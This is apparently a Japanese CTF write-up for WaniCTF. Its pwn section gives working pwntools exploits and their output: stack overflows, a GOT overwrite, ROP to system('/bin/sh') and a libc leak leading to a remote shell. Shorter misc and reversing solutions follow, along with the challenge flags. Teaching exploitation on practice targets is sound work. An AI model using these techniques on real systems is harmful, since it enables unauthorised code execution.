pwn
netcat
・netcat (nc)と呼ばれるコマンドを使うだけです。 ・つないだら何も表示されなくても知っているコマンドを打ってみましょう。
繋ぐだけ
$ nc netcat.wanictf.org 9001 congratulation! cat flag.txt FLAG{netcat-1s-sw1ss-4rmy-kn1fe}
FALG : FLAG{netcat-1s-sw1ss-4rmy-kn1fe}
var rewrite
・stackの仕組みを理解する必要があります。 ・ローカル変数はstackに積まれます。 ・ローカル変数を書き換えて下さい。
retでアラインメントをそろえないとCongratulation!が出てもシェルの起動が出来ないので注意
from pwn import * binary = "./pwn02" host ="var.wanictf.org" port = 9002 elf = ELF(binary) context.binary = binary context.log_level = "info" breakpoints = [] commands = """ continue """ if len(sys.argv) >= 2 and sys.argv[1] == "r": # remote s = remote(host, port) elif len(sys.argv) >= 2 and sys.argv[1] == "d": # debug s = gdb.debug(binary) # libc = elf.libc else: # local s = process(binary) libc = elf.libc # libc = ELF(libc) payload = b"A"*30 payload += p64(next(elf.search(asm("ret")))) payload += p64(elf.sym["win"]) payload += p64(next(elf.search(asm("ret")))) s.sendlineafter(": ",payload) sleep(1) s.interactive()
~/ctf/wanictf/var rewrite ᐅ python3 exploit.py r [*] '/home/user/ctf/wanictf/var rewrite/pwn02' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to var.wanictf.org on port 9002: Done [*] Switching to interactive mode hello AAAAAAAAAAAAAAAAAA7! target = AAAAAAAA7 ***start stack dump*** 0x7ffdcb8c2960: 0x00007ffdcb8c2980 <- rsp 0x7ffdcb8c2968: 0x4141414141410790 0x7ffdcb8c2970: 0x4141414141414141 0x7ffdcb8c2978: 0x0000003741414141 0x7ffdcb8c2980: 0x4141414141414141 <- rbp 0x7ffdcb8c2988: 0x00000000004006ce <- return address ***end stack dump*** Congratulation! $ ls chall flag.txt redir.sh $ cat flag.txt FLAG{1ets-1earn-stack-w1th-b0f-var1ab1e-rewr1te}
FLAG : FLAG{1ets-1earn-stack-w1th-b0f-var1ab1e-rewr1te}
binsh address
・文字列はメモリのどこかに配置されています。 ・strings -tx ./pwn03 | less
gef➤ tel 0x555555756010 0x0000555555756010│+0x0000: "Please input "" 0x0000555555756018│+0x0008: 0x000022207475706e ("nput ""?) 0x0000555555756020│+0x0010: 0x0068732f6e69622f ("/bin/sh"?) 0x0000555555756028│+0x0018: 0x0000000000000000 0x0000555555756030│+0x0020: "" address as a hex number: " 0x0000555555756038│+0x0028: "s as a hex number: " 0x0000555555756040│+0x0030: "ex number: " 0x0000555555756048│+0x0038: 0x0000000000203a72 ("r: "?) 0x0000555555756050│+0x0040: 0x0000000000000000 0x0000555555756058│+0x0048: 0x0000000000000000
from pwn import * binary = "./pwn03" host ="binsh.wanictf.org" port = 9003 elf = ELF(binary) context.binary = binary context.log_level = "info" breakpoints = [] commands = """ continue """ if len(sys.argv) >= 2 and sys.argv[1] == "r": # remote s = remote(host, port) elif len(sys.argv) >= 2 and sys.argv[1] == "d": # debug s = gdb.debug(binary, commands) # libc = elf.libc else: # local s = process(binary) libc = elf.libc # libc = ELF(libc) payload = b"" s.recvuntil("is ") indata = int(s.recv(14),16) log.info("input @ " + hex(indata)) log.info("binsh @ " + hex(indata+16)) s.sendline(hex(indata+16)) sleep(1) s.interactive()
~/ctf/wanictf/binsh address ᐅ python3 exploit.py r [*] '/home/user/ctf/wanictf/binsh address/pwn03' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to binsh.wanictf.org on port 9003: Done [*] input @ 0x55a517372010 [*] binsh @ 0x55a517372020 [*] Switching to interactive mode . Please input "/bin/sh" address as a hex number: Your input address is 0x55a517372020. Congratulation! $ cat flag.txt FLAG{cAn-f1nd-str1ng-us1ng-str1ngs}
FLAG : FLAG{cAn-f1nd-str1ng-us1ng-str1ngs}
ret rewrite
・stackの仕組みを学びましょう。 ・関数の戻りアドレスはstackに積まれます。 ・"congraturation"が出力されてもスタックのアライメントの問題でwin関数のアドレスから少しずらす必要がある場合があります。 ・(echo -e "\x11\x11\x11\x11\x11\x11"; cat) | nc ret.wanictf.org 9005 ・念のためpwntoolsのサンプルプログラム「pwn05_sample.py」を載せておきました。
from pwn import * binary = "./pwn05" host ="ret.wanictf.org" port = 9005 elf = ELF(binary) context.binary = binary context.log_level = "info" breakpoints = [] commands = """ continue """ if len(sys.argv) >= 2 and sys.argv[1] == "r": # remote s = remote(host, port) elif len(sys.argv) >= 2 and sys.argv[1] == "d": # debug s = gdb.debug(binary, commands) # libc = elf.libc else: # local s = process(binary) # libc = elf.libc payload = b"A"*22 payload += p64(next(elf.search(asm("ret")))) payload += p64(elf.sym["win"]) payload += p64(next(elf.search(asm("ret")))) s.sendline(payload) sleep(1) s.interactive()
~/ctf/wanictf/ret rewrite ᐅ python3 exploit.py r [*] '/home/user/ctf/wanictf/ret rewrite/pwn05' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to ret.wanictf.org on port 9005: Done [*] Switching to interactive mode What's your name?: Hello AAAAAAAAAA/! ***start stack dump*** 0x7ffff0c0f960: 0x414141414141fa60 <- rsp 0x7ffff0c0f968: 0x0000002f41414141 0x7ffff0c0f970: 0x4141414141414141 <- rbp 0x7ffff0c0f978: 0x0000000000400696 <- return address 0x7ffff0c0f980: 0x0000000000400837 0x7ffff0c0f988: 0x0000000000400696 0x7ffff0c0f990: 0x0000000000000000 ***end stack dump*** congratulation! $ cat flag.txt FLAG{1earning-how-return-address-w0rks-on-st4ck}
FLAG : FLAG{1earning-how-return-address-w0rks-on-st4ck}
got rewriter
・global offset table (GOT)の仕組みを理解する必要があります。 ・objdump -d -M intel ./pwn04 | less
printfのgotを書き換える
from pwn import * binary = "./pwn04" host ="got.wanictf.org" port = 9004 elf = ELF(binary) context.binary = binary context.log_level = "info" breakpoints = [] commands = """ continue """ if len(sys.argv) >= 2 and sys.argv[1] == "r": # remote s = remote(host, port) elif len(sys.argv) >= 2 and sys.argv[1] == "d": # debug s = gdb.debug(binary, commands) # libc = elf.libc else: # local s = process(binary) # libc = elf.libc addr_got_printf = elf.got["printf"] addr_symbols_win = elf.sym["win"] s.sendlineafter(": ",hex(addr_got_printf)) s.sendlineafter(": ",hex(addr_symbols_win)) sleep(1) s.interactive()
~/ctf/wanictf/got rewriter ᐅ python3 exploit.py r [*] '/home/user/ctf/wanictf/got rewriter/pwn04' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to got.wanictf.org on port 9004: Done [*] Switching to interactive mode Your input rewrite value is 0x400807. *0x601038 <- 0x400807. congratulation! $ cat flag.txt FLAG{we-c4n-f1y-with-gl0b41-0ffset-tab1e}
FLAG : FLAG{we-c4n-f1y-with-gl0b41-0ffset-tab1e}
rop func call
・x64の関数呼び出しと、Return Oriented Programming (ROP)を理解する必要があります。 ・x64の関数呼び出しでは第一引数がRDI、第二引数がRSI、第三引数がRDXに設定する必要があります。 ・pwntoolsを使わないと解くのは大変だと思います。 ・念のためpwntoolsのサンプルプログラム「pwn06_sample.py」を載せておきました。
from pwn import * binary = "./pwn06" host ="rop.wanictf.org" port = 9006 elf = ELF(binary) context.binary = binary context.log_level = "info" breakpoints = [] commands = """ continue """ if len(sys.argv) >= 2 and sys.argv[1] == "r": # remote s = remote(host, port) elif len(sys.argv) >= 2 and sys.argv[1] == "d": # debug s = gdb.debug(binary, commands) # libc = elf.libc else: # local s = process(binary) # libc = elf.libc payload = b"A"*22 payload += p64(next(elf.search(asm("ret;")))) payload += p64(next(elf.search(asm("pop rdi; ret")))) payload += p64(next(elf.search(b"/bin/sh\x00"))) payload += p64(elf.sym["system"]) s.sendlineafter(": ",payload) sleep(1) s.interactive()
~/ctf/wanictf/rop func call ᐅ python3 exploit.py r [*] '/home/user/ctf/wanictf/rop func call/pwn06' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to rop.wanictf.org on port 9006: Done [*] Switching to interactive mode hello AAAAAAAAAA7! ***start stack dump*** 0x7fff4a502420: 0x4141414141410000 <- rsp 0x7fff4a502428: 0x0000003741414141 0x7fff4a502430: 0x4141414141414141 <- rbp 0x7fff4a502438: 0x000000000040065e <- return address 0x7fff4a502440: 0x0000000000400a53 0x7fff4a502448: 0x0000000000601080 0x7fff4a502450: 0x00000000004006c0 ***end stack dump*** $ ls chall flag.txt redir.sh $ cat flag.txt FLAG{learning-rop-and-x64-system-call}
FLAG : FLAG{learning-rop-and-x64-system-call}
one gadget rce
・ROPを使ったlibcのロードアドレスのリークを理解する必要があります。 ・libc上にあるone gadget RCE (Remote Code Execution)の探し方と呼び出し方を理解する必要があります。 ・one_gadget libc-2.27.so
one gadgetつかってない
from pwn import * binary = "./pwn07" host ="rce.wanictf.org" port = 9007 libc = "./libc-2.27.so" elf = ELF(binary) context.binary = binary context.log_level = "info" breakpoints = [] commands = """ continue """ if len(sys.argv) >= 2 and sys.argv[1] == "r": # remote s = remote(host, port) libc = ELF(libc) elif len(sys.argv) >= 2 and sys.argv[1] == "d": # debug s = gdb.debug(binary, commands, env={"LD_PRELOAD": libc}) # libc = elf.libc libc = ELF(libc) else: # local s = process(binary,env={"LD_PRELOAD": libc}) # libc = elf.libc libc = ELF(libc) addr_plt_puts = elf.plt["puts"] addr_got_puts = elf.got["puts"] ret = next(elf.search(asm("ret"))) pop_rdi = next(elf.search(asm("pop rdi; ret"))) payload = b"A" * 22 payload += p64(pop_rdi) payload += p64(addr_got_puts) payload += p64(addr_plt_puts) payload += p64(elf.sym['vuln']) s.sendlineafter("What's your name?: ", payload) s.recvuntil("***end stack dump***\n\n") leaked = u64(s.recv(6).rstrip().ljust(8,b'\x00')) log.info('puts_got @ ' + hex(leaked)) libc.address = leaked - libc.sym['puts'] log.info('libc_base @ ' + hex(libc.address)) payload = b'' payload += b'A' * 22 payload += p64(pop_rdi) payload += p64(next(libc.search(b"/bin/sh\x00"))) payload += p64(ret) payload += p64(libc.sym["system"]) s.sendlineafter("What's your name?: ", payload) sleep(1) s.interactive()
~/ctf/wanictf/one gadget rce ᐅ python3 exploit.py r [*] '/home/user/ctf/wanictf/one gadget rce/pwn07' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to rce.wanictf.org on port 9007: Done [*] '/home/user/ctf/wanictf/one gadget rce/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] puts_got @ 0x7f88c455daa0 [*] libc_base @ 0x7f88c44dd000 [*] Switching to interactive mode hello AAAAAAAAAA7! ***start stack dump*** 0x7ffc28f4c9d0: 0x41414141414106c0 <- rsp 0x7ffc28f4c9d8: 0x0000003741414141 0x7ffc28f4c9e0: 0x4141414141414141 <- rbp 0x7ffc28f4c9e8: 0x0000000000400a13 <- return address 0x7ffc28f4c9f0: 0x00007f88c4690e1a 0x7ffc28f4c9f8: 0x0000000000400626 0x7ffc28f4ca00: 0x00007f88c452c550 ***end stack dump*** $ ls chall flag.txt redir.sh $ cat flag.txt FLAG{mem0ry-1eak-4nd-0ne-gadget-rem0te-ce}
FLAG : FLAG{mem0ry-1eak-4nd-0ne-gadget-rem0te-ce}
misc
Find a Number
・隠された数字を当てるとフラグが表示されます. ・数字は0以上500000以下であることが保証されています.
二分探索をする
import math from pwn import * context.log_level = "debug" s = remote("number.wanictf.org", 60000) low = 0 high = 500000 for i in range(20): mid = ( low + high ) // 2 s.sendlineafter("input:", str(mid)) result = s.recvline() if result == b"correct!!!\n": break elif result == b"too big\n": high = mid elif result == b"too small\n": low = mid else: print(result)
~/ctf/wanictf/Find a Number ᐅ python3 solve.py [+] Opening connection to number.wanictf.org on port 60000: Done [DEBUG] Received 0xd bytes: b'find a number' [DEBUG] Received 0x13 bytes: b'\n' b'challenge 0\n' b'input:' [DEBUG] Sent 0x7 bytes: b'250000\n' [DEBUG] Received 0x9 bytes: b'too small' [DEBUG] Received 0x1e bytes: b'\n' b'try again!\n' b'challenge 1\n' b'input:' [DEBUG] Sent 0x7 bytes: b'375000\n' [DEBUG] Received 0x25 bytes: b'too big\n' b'try again!\n' b'challenge 2\n' b'input:' [DEBUG] Sent 0x7 bytes: b'312500\n' [DEBUG] Received 0x27 bytes: b'too small\n' b'try again!\n' b'challenge 3\n' b'input:' [DEBUG] Sent 0x7 bytes: b'343750\n' [DEBUG] Received 0x27 bytes: b'too small\n' b'try again!\n' b'challenge 4\n' b'input:' [DEBUG] Sent 0x7 bytes: b'359375\n' [DEBUG] Received 0x27 bytes: b'too small\n' b'try again!\n' b'challenge 5\n' b'input:' [DEBUG] Sent 0x7 bytes: b'367187\n' [DEBUG] Received 0x27 bytes: b'too small\n' b'try again!\n' b'challenge 6\n' b'input:' [DEBUG] Sent 0x7 bytes: b'371093\n' [DEBUG] Received 0x25 bytes: b'too big\n' b'try again!\n' b'challenge 7\n' b'input:' [DEBUG] Sent 0x7 bytes: b'369140\n' [DEBUG] Received 0x25 bytes: b'too big\n' b'try again!\n' b'challenge 8\n' b'input:' [DEBUG] Sent 0x7 bytes: b'368163\n' [DEBUG] Received 0x27 bytes: b'too small\n' b'try again!\n' b'challenge 9\n' b'input:' [DEBUG] Sent 0x7 bytes: b'368651\n' [DEBUG] Received 0x26 bytes: b'too big\n' b'try again!\n' b'challenge 10\n' b'input:' [DEBUG] Sent 0x7 bytes: b'368407\n' [DEBUG] Received 0x28 bytes: b'too small\n' b'try again!\n' b'challenge 11\n' b'input:' [DEBUG] Sent 0x7 bytes: b'368529\n' [DEBUG] Received 0x26 bytes: b'too big\n' b'try again!\n' b'challenge 12\n' b'input:' [DEBUG] Sent 0x7 bytes: b'368468\n' [DEBUG] Received 0x26 bytes: b'too big\n' b'try again!\n' b'challenge 13\n' b'input:' [DEBUG] Sent 0x7 bytes: b'368437\n' [DEBUG] Received 0x26 bytes: b'too big\n' b'try again!\n' b'challenge 14\n' b'input:' [DEBUG] Sent 0x7 bytes: b'368422\n' [DEBUG] Received 0x28 bytes: b'too small\n' b'try again!\n' b'challenge 15\n' b'input:' [DEBUG] Sent 0x7 bytes: b'368429\n' [DEBUG] Received 0x2c bytes: b'correct!!!\n' b'FLAG{b1n@ry_5e@rch_1s_v3ry_f@5t}\n'
FLAG : FLAG{b1n@ry_5e@rch_1s_v3ry_f@5t}
MQTT Challenge
噂の軽量プロトコル「MQTT」をテストするページを作ったよ。どこかに秘密のトピックがあるから探してみてね。
"#"がワイルドカードらしい
topic:nkt/hoge, message:"hoge?hoge? FROM:wani_student TIME:2020-11-23 13:38:22" topic:nkt/huga, message:"huga?hoge? FROM:wani_teacher TIME:2020-11-23 13:38:25" topic:flag, message:"FAKE{this_is_fake_flag} TIME:2020-11-23 13:38:29" topic:nkt/wani, message:"WaniCTF MQTT Challenge! TIME: 2020-11-23 13:38:32" topic:nkt/flag, message:"FAKE{fake_huga_hoge} TIME:2020-11-23 13:38:35" topic:top/secret/himitu/daiji/mitara/dame/zettai/flag, message:"FLAG{mq77_w1ld_c4rd!!!!_af5e29cb23} TIME:2020-11-23 13:38:38"
FLAG : FLAG{mq77_w1ld_c4rd!!!!_af5e29cb23}
rev
strings
この問題ではLinuxのELF実行ファイル(バイナリ)である「strings」が配布されています。このバイナリは入力文字列をチェックし、正しいものかどうか判定する機能をもっています。
~/ctf/wanictf/strings ᐅ strings strings /lib64/ld-linux-x86-64.so.2 libc.so.6 strncmp __isoc99_scanf puts printf strlen __cxa_finalize __libc_start_main GLIBC_2.7 GLIBC_2.2.5 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable %z %r %j =Y AWAVI AUATL []A\A]A^A_ input flag : Incorrect FLAG{s0me_str1ngs_rem4in_1n_t7e_b1nary} Correct! Flag is %s ;*3$" GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0 crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.7698 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry main.c __FRAME_END__ __init_array_end _DYNAMIC __init_array_start __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_csu_fini strncmp@@GLIBC_2.2.5 _ITM_deregisterTMCloneTable puts@@GLIBC_2.2.5 _edata strlen@@GLIBC_2.2.5 printf@@GLIBC_2.2.5 __libc_start_main@@GLIBC_2.2.5 __data_start __gmon_start__ __dso_handle _IO_stdin_used __libc_csu_init __bss_start main __isoc99_scanf@@GLIBC_2.7 __TMC_END__ _ITM_registerTMCloneTable __cxa_finalize@@GLIBC_2.2.5 .symtab .strtab .shstrtab .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .data .bss .comment
FLAG : FLAG{s0me_str1ngs_rem4in_1n_t7e_b1nary}
simple
「strings」問題は表層解析でフラグを見つけることができましたが、この問題では同じようにフラグは見つからないようです。
s = [70, 76, 65, 71, 123, 53, 105, 109, 112, 49, 101, 95, 82, 101, 118, 101, 114, 115, 49, 110, 103, 95, 52, 114, 114, 97, 121, 95, 53, 116, 114, 105, 110, 103, 115, 125] flag = "" for c in s: flag += chr(c) print(flag)
~/ctf/wanictf/simple ᐅ python3 solve.py FLAG{5imp1e_Revers1ng_4rray_5trings}
complex
この問題は「simple」問題よりも複雑なようです。 ツールの使い方をさらに調べつつ、トライしてください!
#!/usr/bin/env python # coding: utf-8 import angr import claripy import time import sys import logging logging.getLogger('angr.manager').setLevel(logging.DEBUG) base = 0x400000 #exitf = 0x004006bc target_filename = 'complex' correct_message = b'Correct!' def step(state, input_data): try: print(state.posix.dumps(2)) print(state.posix.dumps(1)) print(state.solver.eval(input_data, cast_to=bytes)) return (correct_message in state.posix.dumps(2) or correct_message in state.posix.dumps(1)) except: print(state.posix.dumps(1)) print(state.posix.dumps(2)) print(state.solver.eval(input_data, cast_to=bytes)) return False def create_text(template): return [claripy.BVV(template.encode("utf-8"))] def solve(input_range): p = angr.Project(target_filename) keys = [claripy.BVS("key %d " % i, 8) for i in range(input_range)] input_data = claripy.Concat( *( keys )) argv = [target_filename] argv.append(input_data) st = p.factory.entry_state(args = argv)# argument #st = p.factory.entry_state(stdin=input_data) # stndart input sm = p.factory.simulation_manager(st) sm.explore(find=lambda x: step(x, input_data)) try: print(sm.found[0].posix.dumps(0)) return 1 except: return -1 if __name__ == "__main__": for length in range(43, 44): print(length) if solve(length) == 1: sys.exit()
(snip) b'input flag : Incorrect\n' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'FLAG{did_you_really_check_the_return_value}\x00\x02\x02\x04\x020\x80\x01\x80\x01\x00\x10\x02\x01\x04\x02\x00'
FLAG : FLAG{did_you_really_check_the_return_value}